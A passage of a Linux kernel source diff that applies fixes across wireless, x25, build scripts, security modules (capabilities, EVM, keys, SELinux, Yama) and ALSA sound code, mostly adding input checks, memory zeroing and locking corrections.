*wdev; struct cfg80211_beacon_registration *reg, *tmp; - if (state != NETLINK_URELEASE) + if (state != NETLINK_URELEASE || notify->protocol != NETLINK_GENERIC) return NOTIFY_DONE; rcu_read_lock(); diff --git a/net/wireless/trace.h b/net/wireless/trace.h index bf88313f0a78a..ab452b0ed7173 100644 --- a/net/wireless/trace.h +++ b/net/wireless/trace.h @@ -2060,7 +2060,8 @@ TRACE_EVENT(cfg80211_michael_mic_failure, MAC_ASSIGN(addr, addr); __entry->key_type = key_type; __entry->key_id = key_id; - memcpy(__entry->tsc, tsc, 6); + if (tsc) + memcpy(__entry->tsc, tsc, 6); ), TP_printk(NETDEV_PR_FMT ", " MAC_PR_FMT ", key type: %d, key id: %d, tsc: %pm", NETDEV_PR_ARG, MAC_PR_ARG(addr), __entry->key_type, diff --git a/net/wireless/wext-compat.c b/net/wireless/wext-compat.c index d997d0f0c54a6..18a7a7b112ef6 100644 --- a/net/wireless/wext-compat.c +++ b/net/wireless/wext-compat.c @@ -1345,6 +1345,8 @@ static struct iw_statistics *cfg80211_wireless_stats(struct net_device *dev) memcpy(bssid, wdev->current_bss->pub.bssid, ETH_ALEN); wdev_unlock(wdev); + memset(&sinfo, 0, sizeof(sinfo)); + if (rdev_get_station(rdev, dev, bssid, &sinfo)) return NULL; diff --git a/net/wireless/wext-core.c b/net/wireless/wext-core.c index c8717c1d082e7..87dd619fb2e92 100644 --- a/net/wireless/wext-core.c +++ b/net/wireless/wext-core.c @@ -342,6 +342,39 @@ static const int compat_event_type_size[] = { /* IW event code */ +static void wireless_nlevent_flush(void) +{ + struct sk_buff *skb; + struct net *net; + + ASSERT_RTNL(); + + for_each_net(net) { + while ((skb = skb_dequeue(&net->wext_nlevents))) + rtnl_notify(skb, net, 0, RTNLGRP_LINK, NULL, + GFP_KERNEL); + } +} + +static int wext_netdev_notifier_call(struct notifier_block *nb, + unsigned long state, void *ptr) +{ + /* + * When a netdev changes state in any way, flush all pending messages + * to avoid them going out in a strange order, e.g. RTM_NEWLINK after + * RTM_DELLINK, or with IFF_UP after without IFF_UP during dev_close() + * or similar - all of which could otherwise happen due to delays from + * schedule_work(). + */ + wireless_nlevent_flush(); + + return NOTIFY_OK; +} + +static struct notifier_block wext_netdev_notifier = { + .notifier_call = wext_netdev_notifier_call, +}; + static int __net_init wext_pernet_init(struct net *net) { skb_queue_head_init(&net->wext_nlevents); @@ -360,7 +393,12 @@ static struct pernet_operations wext_pernet_ops = { static int __init wireless_nlevent_init(void) { - return register_pernet_subsys(&wext_pernet_ops); + int err = register_pernet_subsys(&wext_pernet_ops); + + if (err) + return err; + + return register_netdevice_notifier(&wext_netdev_notifier); } subsys_initcall(wireless_nlevent_init); @@ -368,17 +406,8 @@ subsys_initcall(wireless_nlevent_init); /* Process events generated by the wireless layer or the driver. */ static void wireless_nlevent_process(struct work_struct *work) { - struct sk_buff *skb; - struct net *net; - rtnl_lock(); - - for_each_net(net) { - while ((skb = skb_dequeue(&net->wext_nlevents))) - rtnl_notify(skb, net, 0, RTNLGRP_LINK, NULL, - GFP_KERNEL); - } - + wireless_nlevent_flush(); rtnl_unlock(); } diff --git a/net/x25/x25_facilities.c b/net/x25/x25_facilities.c index 66c638730c7a8..de7552d8ee200 100644 --- a/net/x25/x25_facilities.c +++ b/net/x25/x25_facilities.c @@ -271,6 +271,7 @@ int x25_negotiate_facilities(struct sk_buff *skb, struct sock *sk, memset(&theirs, 0, sizeof(theirs)); memcpy(new, ours, sizeof(*new)); + memset(dte, 0, sizeof(*dte)); len = x25_parse_facilities(skb, &theirs, dte, &x25->vc_facil_mask); if (len < 0) diff --git a/scripts/bloat-o-meter b/scripts/bloat-o-meter index 6129020c41a94..81228a4431226 100755 --- a/scripts/bloat-o-meter +++ b/scripts/bloat-o-meter @@ -55,8 +55,8 @@ for name in common: delta.sort() delta.reverse() -print "add/remove: %s/%s grow/shrink: %s/%s up/down: %s/%s (%s)" % \ - (add, remove, grow, shrink, up, -down, up-down) -print "%-40s %7s %7s %+7s" % ("function", "old", "new", "delta") +print("add/remove: %s/%s grow/shrink: %s/%s up/down: %s/%s (%s)" % \ + (add, remove, grow, shrink, up, -down, up-down)) +print("%-40s %7s %7s %+7s" % ("function", "old", "new", "delta")) for d, n in delta: - if d: print "%-40s %7s %7s %+7d" % (n, old.get(n,"-"), new.get(n,"-"), d) + if d: print("%-40s %7s %7s %+7d" % (n, old.get(n,"-"), new.get(n,"-"), d)) diff --git a/scripts/coccinelle/iterators/use_after_iter.cocci b/scripts/coccinelle/iterators/use_after_iter.cocci index 06284c57a9513..93e37ff8b0f69 100644 --- a/scripts/coccinelle/iterators/use_after_iter.cocci +++ b/scripts/coccinelle/iterators/use_after_iter.cocci @@ -123,7 +123,7 @@ list_remove_head(x,c,...) | sizeof(<+...c...+>) | -&c->member + &c->member | c = E | diff --git a/scripts/kconfig/streamline_config.pl b/scripts/kconfig/streamline_config.pl index 4606cdfb859d5..7dd7c391b4d8c 100644 --- a/scripts/kconfig/streamline_config.pl +++ b/scripts/kconfig/streamline_config.pl @@ -137,7 +137,7 @@ sub read_config { my $kconfig = $ARGV[1]; my $lsmod_file = $ENV{'LSMOD'}; -my @makefiles = `find $ksource -name Makefile 2>/dev/null`; +my @makefiles = `find $ksource -name Makefile -or -name Kbuild 2>/dev/null`; chomp @makefiles; my %depends; diff --git a/scripts/kernel-doc b/scripts/kernel-doc index 4305b2f2ec5eb..8c0e07b7a70b0 100755 --- a/scripts/kernel-doc +++ b/scripts/kernel-doc @@ -1750,7 +1750,7 @@ sub dump_struct($$) { # strip kmemcheck_bitfield_{begin,end}.*; $members =~ s/kmemcheck_bitfield_.*?;//gos; # strip attributes - $members =~ s/__aligned\s*\(.+\)//gos; + $members =~ s/__aligned\s*\([^;]*\)//gos; create_parameterlist($members, ';', $file); check_sections($file, $declaration_name, "struct", $sectcheck, $struct_actual, $nested); diff --git a/scripts/recordmcount.c b/scripts/recordmcount.c index e11aa4a156d2d..8c9ffe27a0836 100644 --- a/scripts/recordmcount.c +++ b/scripts/recordmcount.c @@ -33,10 +33,17 @@ #include #include +/* + * glibc synced up and added the metag number but didn't add the relocations. + * Work around this in a crude manner for now. + */ #ifndef EM_METAG -/* Remove this when these make it to the standard system elf.h. */ #define EM_METAG 174 +#endif +#ifndef R_METAG_ADDR32 #define R_METAG_ADDR32 2 +#endif +#ifndef R_METAG_NONE #define R_METAG_NONE 3 #endif @@ -194,6 +201,20 @@ static void *mmap_file(char const *fname) addr = umalloc(sb.st_size); uread(fd_map, addr, sb.st_size); } + if (sb.st_nlink != 1) { + /* file is hard-linked, break the hard link */ + close(fd_map); + if (unlink(fname) < 0) { + perror(fname); + fail_file(); + } + fd_map = open(fname, O_RDWR | O_CREAT, sb.st_mode); + if (fd_map < 0) { + perror(fname); + fail_file(); + } + uwrite(fd_map, addr, sb.st_size); + } return addr; } diff --git a/scripts/recordmcount.h b/scripts/recordmcount.h index 49b582a225b0b..b9897e2be404d 100644 --- a/scripts/recordmcount.h +++ b/scripts/recordmcount.h @@ -377,7 +377,7 @@ static void nop_mcount(Elf_Shdr const *const relhdr, if (mcountsym == Elf_r_sym(relp) && !is_fake_mcount(relp)) { if (make_nop) - ret = make_nop((void *)ehdr, shdr->sh_offset + relp->r_offset); + ret = make_nop((void *)ehdr, _w(shdr->sh_offset) + _w(relp->r_offset)); if (warn_on_notrace_sect && !once) { printf("Section %s has mcount callers being ignored\n", txtname); diff --git a/scripts/recordmcount.pl b/scripts/recordmcount.pl index 151739b4e4814..5e2e7ccdce750 100755 --- a/scripts/recordmcount.pl +++ b/scripts/recordmcount.pl @@ -262,11 +262,11 @@ sub check_objcopy # force flags for this arch $ld .= " -m shlelf_linux"; $objcopy .= " -O elf32-sh-linux"; - $cc .= " -m32"; } elsif ($arch eq "powerpc") { $local_regex = "^[0-9a-fA-F]+\\s+t\\s+(\\.?\\S+)"; - $function_regex = "^([0-9a-fA-F]+)\\s+<(\\.?.*?)>:"; + # See comment in the sparc64 section for why we use '\w'. + $function_regex = "^([0-9a-fA-F]+)\\s+<(\\.?\\w*?)>:"; $mcount_regex = "^\\s*([0-9a-fA-F]+):.*\\s\\.?_mcount\$"; if ($bits == 64) { diff --git a/security/commoncap.c b/security/commoncap.c index 5870fdc224b43..f2ad12ea60fb9 100644 --- a/security/commoncap.c +++ b/security/commoncap.c @@ -153,12 +153,17 @@ int cap_ptrace_access_check(struct task_struct *child, unsigned int mode) { int ret = 0; const struct cred *cred, *child_cred; + const kernel_cap_t *caller_caps; rcu_read_lock(); cred = current_cred(); child_cred = __task_cred(child); + if (mode & PTRACE_MODE_FSCREDS) + caller_caps = &cred->cap_effective; + else + caller_caps = &cred->cap_permitted; if (cred->user_ns == child_cred->user_ns && - cap_issubset(child_cred->cap_permitted, cred->cap_permitted)) + cap_issubset(child_cred->cap_permitted, *caller_caps)) goto out; if (ns_capable(child_cred->user_ns, CAP_SYS_PTRACE)) goto out; @@ -432,6 +437,9 @@ int get_vfs_caps_from_disk(const struct dentry *dentry, struct cpu_vfs_cap_data cpu_caps->inheritable.cap[i] = le32_to_cpu(caps.data[i].inheritable); } + cpu_caps->permitted.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + cpu_caps->inheritable.cap[CAP_LAST_U32] &= CAP_LAST_U32_VALID_MASK; + return 0; } diff --git a/security/integrity/evm/evm_main.c b/security/integrity/evm/evm_main.c index b9b2bebeb3505..b980a6ce5c797 100644 --- a/security/integrity/evm/evm_main.c +++ b/security/integrity/evm/evm_main.c @@ -286,9 +286,12 @@ int evm_inode_setxattr(struct dentry *dentry, const char *xattr_name, { const struct evm_ima_xattr_data *xattr_data = xattr_value; - if ((strcmp(xattr_name, XATTR_NAME_EVM) == 0) - && (xattr_data->type == EVM_XATTR_HMAC)) - return -EPERM; + if (strcmp(xattr_name, XATTR_NAME_EVM) == 0) { + if (!xattr_value_len) + return -EINVAL; + if (xattr_data->type != EVM_IMA_XATTR_DIGSIG) + return -EPERM; + } return evm_protect_xattr(dentry, xattr_name, xattr_value, xattr_value_len); } diff --git a/security/keys/encrypted-keys/encrypted.c b/security/keys/encrypted-keys/encrypted.c index ddbc0008840d2..45d5c5926d032 100644 --- a/security/keys/encrypted-keys/encrypted.c +++ b/security/keys/encrypted-keys/encrypted.c @@ -1020,10 +1020,13 @@ static int __init init_encrypted(void) ret = encrypted_shash_alloc(); if (ret < 0) return ret; + ret = aes_get_sizes(); + if (ret < 0) + goto out; ret = register_key_type(&key_type_encrypted); if (ret < 0) goto out; - return aes_get_sizes(); + return 0; out: encrypted_shash_release(); return ret; diff --git a/security/keys/gc.c b/security/keys/gc.c index 789bbcf9b95bb..de34c290bd6f8 100644 --- a/security/keys/gc.c +++ b/security/keys/gc.c @@ -187,6 +187,12 @@ static noinline void key_gc_unused_keys(struct list_head *keys) kdebug("- %u", key->serial); key_check(key); + /* Throw away the key data if the key is instantiated */ + if (test_bit(KEY_FLAG_INSTANTIATED, &key->flags) && + !test_bit(KEY_FLAG_NEGATIVE, &key->flags) && + key->type->destroy) + key->type->destroy(key); + security_key_free(key); /* deal with the user's key tracking and quota */ @@ -201,12 +207,6 @@ static noinline void key_gc_unused_keys(struct list_head *keys) if (test_bit(KEY_FLAG_INSTANTIATED, &key->flags)) atomic_dec(&key->user->nikeys); - /* Throw away the key data if the key is instantiated */ - if (test_bit(KEY_FLAG_INSTANTIATED, &key->flags) && - !test_bit(KEY_FLAG_NEGATIVE, &key->flags) && - key->type->destroy) - key->type->destroy(key); - key_user_put(key->user); kfree(key->description); diff --git a/security/selinux/selinuxfs.c b/security/selinux/selinuxfs.c index ff427733c2903..86f969437f5d9 100644 --- a/security/selinux/selinuxfs.c +++ b/security/selinux/selinuxfs.c @@ -1190,7 +1190,7 @@ static void sel_remove_entries(struct dentry *de) spin_lock(&de->d_lock); node = de->d_subdirs.next; while (node != &de->d_subdirs) { - struct dentry *d = list_entry(node, struct dentry, d_u.d_child); + struct dentry *d = list_entry(node, struct dentry, d_child); spin_lock_nested(&d->d_lock, DENTRY_D_LOCK_NESTED); list_del_init(node); @@ -1664,12 +1664,12 @@ static void sel_remove_classes(void) list_for_each(class_node, &class_dir->d_subdirs) { struct dentry *class_subdir = list_entry(class_node, - struct dentry, d_u.d_child); + struct dentry, d_child); struct list_head *class_subdir_node; list_for_each(class_subdir_node, &class_subdir->d_subdirs) { struct dentry *d = list_entry(class_subdir_node, - struct dentry, d_u.d_child); + struct dentry, d_child); if (d->d_inode) if (d->d_inode->i_mode & S_IFDIR) diff --git a/security/yama/yama_lsm.c b/security/yama/yama_lsm.c index 13c88fbcf0371..0038834b558eb 100644 --- a/security/yama/yama_lsm.c +++ b/security/yama/yama_lsm.c @@ -292,7 +292,7 @@ int yama_ptrace_access_check(struct task_struct *child, return rc; /* require ptrace target be a child of ptracer on attach */ - if (mode == PTRACE_MODE_ATTACH) { + if (mode & PTRACE_MODE_ATTACH) { switch (ptrace_scope) { case YAMA_SCOPE_DISABLED: /* No additional restrictions. */ @@ -318,7 +318,7 @@ int yama_ptrace_access_check(struct task_struct *child, } } - if (rc) { + if (rc && (mode & PTRACE_MODE_NOAUDIT) == 0) { printk_ratelimited(KERN_NOTICE "ptrace of pid %d was attempted by: %s (pid %d)\n", child->pid, current->comm, current->pid); diff --git a/sound/arm/Kconfig b/sound/arm/Kconfig index 885683a3b0bdf..e0406211716b0 100644 --- a/sound/arm/Kconfig +++ b/sound/arm/Kconfig @@ -9,6 +9,14 @@ menuconfig SND_ARM Drivers that are implemented on ASoC can be found in "ALSA for SoC audio support" section. +config SND_PXA2XX_LIB + tristate + select SND_AC97_CODEC if SND_PXA2XX_LIB_AC97 + select SND_DMAENGINE_PCM + +config SND_PXA2XX_LIB_AC97 + bool + if SND_ARM config SND_ARMAACI @@ -21,13 +29,6 @@ config SND_PXA2XX_PCM tristate select SND_PCM -config SND_PXA2XX_LIB - tristate - select SND_AC97_CODEC if SND_PXA2XX_LIB_AC97 - -config SND_PXA2XX_LIB_AC97 - bool - config SND_PXA2XX_AC97 tristate "AC97 driver for the Intel PXA2xx chip" depends on ARCH_PXA diff --git a/sound/core/compress_offload.c b/sound/core/compress_offload.c index e958624521add..4b30173ee6c7b 100644 --- a/sound/core/compress_offload.c +++ b/sound/core/compress_offload.c @@ -44,6 +44,13 @@ #include #include +/* struct snd_compr_codec_caps overflows the ioctl bit size for some + * architectures, so we need to disable the relevant ioctls. + */ +#if _IOC_SIZEBITS < 14 +#define COMPR_CODEC_CAPS_OVERFLOW +#endif + #define U32_MAX ((u32)~0U) /* TODO: @@ -445,6 +452,7 @@ snd_compr_get_caps(struct snd_compr_stream *stream, unsigned long arg) return retval; } +#ifndef COMPR_CODEC_CAPS_OVERFLOW static int snd_compr_get_codec_caps(struct snd_compr_stream *stream, unsigned long arg) { @@ -468,6 +476,7 @@ snd_compr_get_codec_caps(struct snd_compr_stream *stream, unsigned long arg) kfree(caps); return retval; } +#endif /* !COMPR_CODEC_CAPS_OVERFLOW */ /* revisit this with snd_pcm_preallocate_xxx */ static int snd_compr_allocate_buffer(struct snd_compr_stream *stream, @@ -798,9 +807,11 @@ static int snd_compress_simple_ioctls(struct file *file, retval = snd_compr_get_caps(stream, arg); break; +#ifndef COMPR_CODEC_CAPS_OVERFLOW case _IOC_NR(SNDRV_COMPRESS_GET_CODEC_CAPS): retval = snd_compr_get_codec_caps(stream, arg); break; +#endif case _IOC_NR(SNDRV_COMPRESS_TSTAMP): diff --git a/sound/core/control.c b/sound/core/control.c index 98a29b26c5f41..251bc575f5c37 100644 --- a/sound/core/control.c +++ b/sound/core/control.c @@ -150,6 +150,8 @@ void snd_ctl_notify(struct snd_card *card, unsigned int mask, if (snd_BUG_ON(!card || !id)) return; + if (card->shutdown) + return; read_lock(&card->ctl_files_rwlock); #if defined(CONFIG_SND_MIXER_OSS) || defined(CONFIG_SND_MIXER_OSS_MODULE) card->mixer_oss_change_count++; @@ -1168,6 +1170,10 @@ static int snd_ctl_elem_add(struct snd_ctl_file *file, if (info->count < 1) return -EINVAL; + if (!*info->id.name) + return -EINVAL; + if (strnlen(info->id.name, sizeof(info->id.name)) >= sizeof(info->id.name)) + return -EINVAL; access = info->access == 0 ? SNDRV_CTL_ELEM_ACCESS_READWRITE : (info->access & (SNDRV_CTL_ELEM_ACCESS_READWRITE| SNDRV_CTL_ELEM_ACCESS_INACTIVE| @@ -1321,6 +1327,8 @@ static int snd_ctl_tlv_ioctl(struct snd_ctl_file *file, return -EFAULT; if (tlv.length < sizeof(unsigned int) * 2) return -EINVAL; + if (!tlv.numid) + return -EINVAL; down_read(&card->controls_rwsem); kctl = snd_ctl_find_numid(card, tlv.numid); if (kctl == NULL) { diff --git a/sound/core/control_compat.c b/sound/core/control_compat.c index 2bb95a7a8809f..c14565bde8876 100644 --- a/sound/core/control_compat.c +++ b/sound/core/control_compat.c @@ -170,6 +170,19 @@ struct snd_ctl_elem_value32 { unsigned char reserved[128]; }; +#ifdef CONFIG_X86_X32 +/* x32 has a different alignment for 64bit values from ia32 */ +struct snd_ctl_elem_value_x32 { + struct snd_ctl_elem_id id; + unsigned int indirect; /* bit-field causes misalignment */ + union { + s32 integer[128]; + unsigned char data[512]; + s64 integer64[64]; + } value; + unsigned char reserved[128]; +}; +#endif /* CONFIG_X86_X32 */ /* get the value type and count of the control */ static int get_ctl_type(struct snd_card *card, struct snd_ctl_elem_id *id, @@ -219,9 +232,11 @@ static int get_elem_size(int type, int count) static int copy_ctl_value_from_user(struct snd_card *card, struct snd_ctl_elem_value *data, - struct snd_ctl_elem_value32 __user *data32, + void __user *userdata, + void __user *valuep, int *typep, int *countp) { + struct snd_ctl_elem_value32 __user *data32 = userdata; int i, type, size; int uninitialized_var(count); unsigned int indirect; @@ -239,8 +254,9 @@ static int copy_ctl_value_from_user(struct snd_card *card, if (type == SNDRV_CTL_ELEM_TYPE_BOOLEAN || type == SNDRV_CTL_ELEM_TYPE_INTEGER) { for (i = 0; i < count; i++) { + s32 __user *intp = valuep; int val; - if (get_user(val, &data32->value.integer[i])) + if (get_user(val, &intp[i])) return -EFAULT; data->value.integer.value[i] = val; } @@ -250,8 +266,7 @@ static int copy_ctl_value_from_user(struct snd_card *card, printk(KERN_ERR "snd_ioctl32_ctl_elem_value: unknown type %d\n", type); return -EINVAL; } - if (copy_from_user(data->value.bytes.data, - data32->value.data, size)) + if (copy_from_user(data->value.bytes.data, valuep, size)) return -EFAULT; } @@ -261,7 +276,8 @@ static int copy_ctl_value_from_user(struct snd_card *card, } /* restore the value to 32bit */ -static int copy_ctl_value_to_user(struct snd_ctl_elem_value32 __user *data32, +static int copy_ctl_value_to_user(void __user *userdata, + void __user *valuep, struct snd_ctl_elem_value *data, int type, int count) { @@ -270,22 +286,22 @@ static int copy_ctl_value_to_user(struct snd_ctl_elem_value32 __user *data32, if (type == SNDRV_CTL_ELEM_TYPE_BOOLEAN || type == SNDRV_CTL_ELEM_TYPE_INTEGER) { for (i = 0; i < count; i++) { + s32 __user *intp = valuep; int val; val = data->value.integer.value[i]; - if (put_user(val, &data32->value.integer[i])) + if (put_user(val, &intp[i])) return -EFAULT; } } else { size = get_elem_size(type, count); - if (copy_to_user(data32->value.data, - data->value.bytes.data, size)) + if (copy_to_user(valuep, data->value.bytes.data, size)) return -EFAULT; } return 0; } -static int snd_ctl_elem_read_user_compat(struct snd_card *card, - struct snd_ctl_elem_value32 __user *data32) +static int ctl_elem_read_user(struct snd_card *card, + void __user *userdata, void __user *valuep) { struct snd_ctl_elem_value *data; int err, type, count; @@ -294,7 +310,9 @@ static int snd_ctl_elem_read_user_compat(struct snd_card *card, if (data == NULL) return -ENOMEM; - if ((err = copy_ctl_value_from_user(card, data, data32, &type, &count)) < 0) + err = copy_ctl_value_from_user(card, data, userdata, valuep, + &type, &count); + if (err < 0) goto error; snd_power_lock(card); @@ -303,14 +321,15 @@ static int snd_ctl_elem_read_user_compat(struct snd_card *card, err = snd_ctl_elem_read(card, data); snd_power_unlock(card); if (err >= 0) - err = copy_ctl_value_to_user(data32, data, type, count); + err = copy_ctl_value_to_user(userdata, valuep, data, + type, count); error: kfree(data); return err; } -static int snd_ctl_elem_write_user_compat(struct snd_ctl_file *file, - struct snd_ctl_elem_value32 __user *data32) +static int ctl_elem_write_user(struct snd_ctl_file *file, + void __user *userdata, void __user *valuep) { struct snd_ctl_elem_value *data; struct snd_card *card = file->card; @@ -320,7 +339,9 @@ static int snd_ctl_elem_write_user_compat(struct snd_ctl_file *file, if (data == NULL) return -ENOMEM; - if ((err = copy_ctl_value_from_user(card, data, data32, &type, &count)) < 0) + err = copy_ctl_value_from_user(card, data, userdata, valuep, + &type, &count); + if (err < 0) goto error; snd_power_lock(card); @@ -329,12 +350,39 @@ static int snd_ctl_elem_write_user_compat(struct snd_ctl_file *file, err = snd_ctl_elem_write(card, file, data); snd_power_unlock(card); if (err >= 0) - err = copy_ctl_value_to_user(data32, data, type, count); + err = copy_ctl_value_to_user(userdata, valuep, data, + type, count); error: kfree(data); return err; } +static int snd_ctl_elem_read_user_compat(struct snd_card *card, + struct snd_ctl_elem_value32 __user *data32) +{ + return ctl_elem_read_user(card, data32, &data32->value); +} + +static int snd_ctl_elem_write_user_compat(struct snd_ctl_file *file, + struct snd_ctl_elem_value32 __user *data32) +{ + return ctl_elem_write_user(file, data32, &data32->value); +} + +#ifdef CONFIG_X86_X32 +static int snd_ctl_elem_read_user_x32(struct snd_card *card, + struct snd_ctl_elem_value_x32 __user *data32) +{ + return ctl_elem_read_user(card, data32, &data32->value); +} + +static int snd_ctl_elem_write_user_x32(struct snd_ctl_file *file, + struct snd_ctl_elem_value_x32 __user *data32) +{ + return ctl_elem_write_user(file, data32, &data32->value); +} +#endif /* CONFIG_X86_X32 */ + /* add or replace a user control */ static int snd_ctl_elem_add_compat(struct snd_ctl_file *file, struct snd_ctl_elem_info32 __user *data32, @@ -393,6 +441,10 @@ enum { SNDRV_CTL_IOCTL_ELEM_WRITE32 = _IOWR('U', 0x13, struct snd_ctl_elem_value32), SNDRV_CTL_IOCTL_ELEM_ADD32 = _IOWR('U', 0x17, struct snd_ctl_elem_info32), SNDRV_CTL_IOCTL_ELEM_REPLACE32 = _IOWR('U', 0x18, struct snd_ctl_elem_info32), +#ifdef CONFIG_X86_X32 + SNDRV_CTL_IOCTL_ELEM_READ_X32 = _IOWR('U', 0x12, struct snd_ctl_elem_value_x32), + SNDRV_CTL_IOCTL_ELEM_WRITE_X32 = _IOWR('U', 0x13, struct snd_ctl_elem_value_x32), +#endif /* CONFIG_X86_X32 */ }; static inline long snd_ctl_ioctl_compat(struct file *file, unsigned int cmd, unsigned long arg) @@ -431,6 +483,12 @@ static inline long snd_ctl_ioctl_compat(struct file *file, unsigned int cmd, uns return snd_ctl_elem_add_compat(ctl, argp, 0); case SNDRV_CTL_IOCTL_ELEM_REPLACE32: return snd_ctl_elem_add_compat(ctl, argp, 1); +#ifdef CONFIG_X86_X32 + case SNDRV_CTL_IOCTL_ELEM_READ_X32: + return snd_ctl_elem_read_user_x32(ctl->card, argp); + case SNDRV_CTL_IOCTL_ELEM_WRITE_X32: + return snd_ctl_elem_write_user_x32(ctl, argp); +#endif /* CONFIG_X86_X32 */ } down_read(&snd_ioctl_rwsem); diff --git a/sound/core/oss/pcm_oss.c b/sound/core/oss/pcm_oss.c index 4c1cc51772e6f..7417f96cea6e2 100644 --- a/sound/core/oss/pcm_oss.c +++ b/sound/core/oss/pcm_oss.c @@ -834,7 +834,8 @@ static int choose_rate(struct snd_pcm_substream *substream, return snd_pcm_hw_param_near(substream, params, SNDRV_PCM_HW_PARAM_RATE, best_rate, NULL); } -static int snd_pcm_oss_change_params(struct snd_pcm_substream *substream) +static int snd_pcm_oss_change_params(struct snd_pcm_substream *substream, + bool trylock) { struct snd_pcm_runtime *runtime = substream->runtime; struct snd_pcm_hw_params *params, *sparams; @@ -848,7 +849,10 @@ static int snd_pcm_oss_change_params(struct snd_pcm_substream *substream) struct snd_mask sformat_mask; struct snd_mask mask; - if (mutex_lock_interruptible(&runtime->oss.params_lock)) + if (trylock) { + if (!(mutex_trylock(&runtime->oss.params_lock))) + return -EAGAIN; + } else if (mutex_lock_interruptible(&runtime->oss.params_lock)) return -EINTR; sw_params = kmalloc(sizeof(*sw_params), GFP_KERNEL); params = kmalloc(sizeof(*params), GFP_KERNEL); @@ -1091,7 +1095,7 @@ static int snd_pcm_oss_get_active_substream(struct snd_pcm_oss_file *pcm_oss_fil if (asubstream == NULL) asubstream = substream; if (substream->runtime->oss.params) { - err = snd_pcm_oss_change_params(substream); + err = snd_pcm_oss_change_params(substream, false); if (err < 0) return err; } @@ -1130,7 +1134,7 @@ static int snd_pcm_oss_make_ready(struct snd_pcm_substream *substream) return 0; runtime = substream->runtime; if (runtime->oss.params) { - err = snd_pcm_oss_change_params(substream); + err = snd_pcm_oss_change_params(substream, false); if (err < 0) return err; } @@ -2168,7 +2172,7 @@ static int snd_pcm_oss_get_space(struct snd_pcm_oss_file *pcm_oss_file, int stre runtime = substream->runtime; if (runtime->oss.params && - (err = snd_pcm_oss_change_params(substream)) < 0) + (err = snd_pcm_oss_change_params(substream, false)) < 0) return err; info.fragsize = runtime->oss.period_bytes; @@ -2804,7 +2808,12 @@ static int snd_pcm_oss_mmap(struct file *file, struct vm_area_struct *area) return -EIO; if (runtime->oss.params) { - if ((err = snd_pcm_oss_change_params(substream)) < 0) + /* use mutex_trylock() for params_lock for avoiding a deadlock + * between mmap_sem and params_lock taken by + * copy_from/to_user() in snd_pcm_oss_write/read() + */ + err = snd_pcm_oss_change_params(substream, true); + if (err < 0) return err; } #ifdef CONFIG_SND_PCM_OSS_PLUGINS diff --git a/sound/core/pcm_compat.c b/sound/core/pcm_compat.c index 223487a0ab319..bff59d3846fcb 100644 --- a/sound/core/pcm_compat.c +++ b/sound/core/pcm_compat.c @@ -206,6 +206,8 @@ static int snd_pcm_status_user_compat(struct snd_pcm_substream *substream, if (err < 0) return err; + if (clear_user(src, sizeof(*src))) + return -EFAULT; if (put_user(status.state, &src->state) || compat_put_timespec(&status.trigger_tstamp, &src->trigger_tstamp) || compat_put_timespec(&status.tstamp, &src->tstamp) || @@ -234,10 +236,15 @@ static int snd_pcm_ioctl_hw_params_compat(struct snd_pcm_substream *substream, if (! (runtime = substream->runtime)) return -ENOTTY; - /* only fifo_size is different, so just copy all */ - data = memdup_user(data32, sizeof(*data32)); - if (IS_ERR(data)) - return PTR_ERR(data); + data = kmalloc(sizeof(*data), GFP_KERNEL); + if (!data) + return -ENOMEM; + + /* only fifo_size (RO from userspace) is different, so just copy all */ + if (copy_from_user(data, data32, sizeof(*data32))) { + err = -EFAULT; + goto error; + } if (refine) err = snd_pcm_hw_refine(substream, data); diff --git a/sound/core/pcm_lib.c b/sound/core/pcm_lib.c index f26e71cbe5510..d80963097e774 100644 --- a/sound/core/pcm_lib.c +++ b/sound/core/pcm_lib.c @@ -1796,14 +1796,16 @@ static int snd_pcm_lib_ioctl_fifo_size(struct snd_pcm_substream *substream, { struct snd_pcm_hw_params *params = arg; snd_pcm_format_t format; - int channels, width; + int channels; + ssize_t frame_size; params->fifo_size = substream->runtime->hw.fifo_size; if (!(substream->runtime->hw.info & SNDRV_PCM_INFO_FIFO_IN_FRAMES)) { format = params_format(params); channels = params_channels(params); - width = snd_pcm_format_physical_width(format); - params->fifo_size /= width * channels; + frame_size = snd_pcm_format_size(format, channels); + if (frame_size > 0) + params->fifo_size /= (unsigned)frame_size; } return 0; } diff --git a/sound/core/pcm_native.c b/sound/core/pcm_native.c index a50bdd373e921..a41e87a549c1d 100644 --- a/sound/core/pcm_native.c +++ b/sound/core/pcm_native.c @@ -1407,6 +1407,8 @@ static int snd_pcm_do_drain_init(struct snd_pcm_substream *substream, int state) if (! snd_pcm_playback_empty(substream)) { snd_pcm_do_start(substream, SNDRV_PCM_STATE_DRAINING); snd_pcm_post_start(substream, SNDRV_PCM_STATE_DRAINING); + } else { + runtime->status->state = SNDRV_PCM_STATE_SETUP; } break; case SNDRV_PCM_STATE_RUNNING: @@ -3251,7 +3253,7 @@ static const struct vm_operations_struct snd_pcm_vm_ops_data_fault = { #ifndef ARCH_HAS_DMA_MMAP_COHERENT /* This should be defined / handled globally! */ -#ifdef CONFIG_ARM +#if defined(CONFIG_ARM) || defined(CONFIG_ARM64) #define ARCH_HAS_DMA_MMAP_COHERENT #endif #endif diff --git a/sound/core/rawmidi.c b/sound/core/rawmidi.c index 7b596b5751dbc..500765f208434 100644 --- a/sound/core/rawmidi.c +++ b/sound/core/rawmidi.c @@ -934,31 +934,36 @@ static long snd_rawmidi_kernel_read1(struct snd_rawmidi_substream *substream, unsigned long flags; long result = 0, count1; struct snd_rawmidi_runtime *runtime = substream->runtime; + unsigned long appl_ptr; + spin_lock_irqsave(&runtime->lock, flags); while (count > 0 && runtime->avail) { count1 = runtime->buffer_size - runtime->appl_ptr; if (count1 > count) count1 = count; - spin_lock_irqsave(&runtime->lock, flags); if (count1 > (int)runtime->avail) count1 = runtime->avail; + + /* update runtime->appl_ptr before unlocking for userbuf */ + appl_ptr = runtime->appl_ptr; + runtime->appl_ptr += count1; + runtime->appl_ptr %= runtime->buffer_size; + runtime->avail -= count1; + if (kernelbuf) - memcpy(kernelbuf + result, runtime->buffer + runtime->appl_ptr, count1); + memcpy(kernelbuf + result, runtime->buffer + appl_ptr, count1); if (userbuf) { spin_unlock_irqrestore(&runtime->lock, flags); if (copy_to_user(userbuf + result, - runtime->buffer + runtime->appl_ptr, count1)) { + runtime->buffer + appl_ptr, count1)) { return result > 0 ? result : -EFAULT; } spin_lock_irqsave(&runtime->lock, flags); } - runtime->appl_ptr += 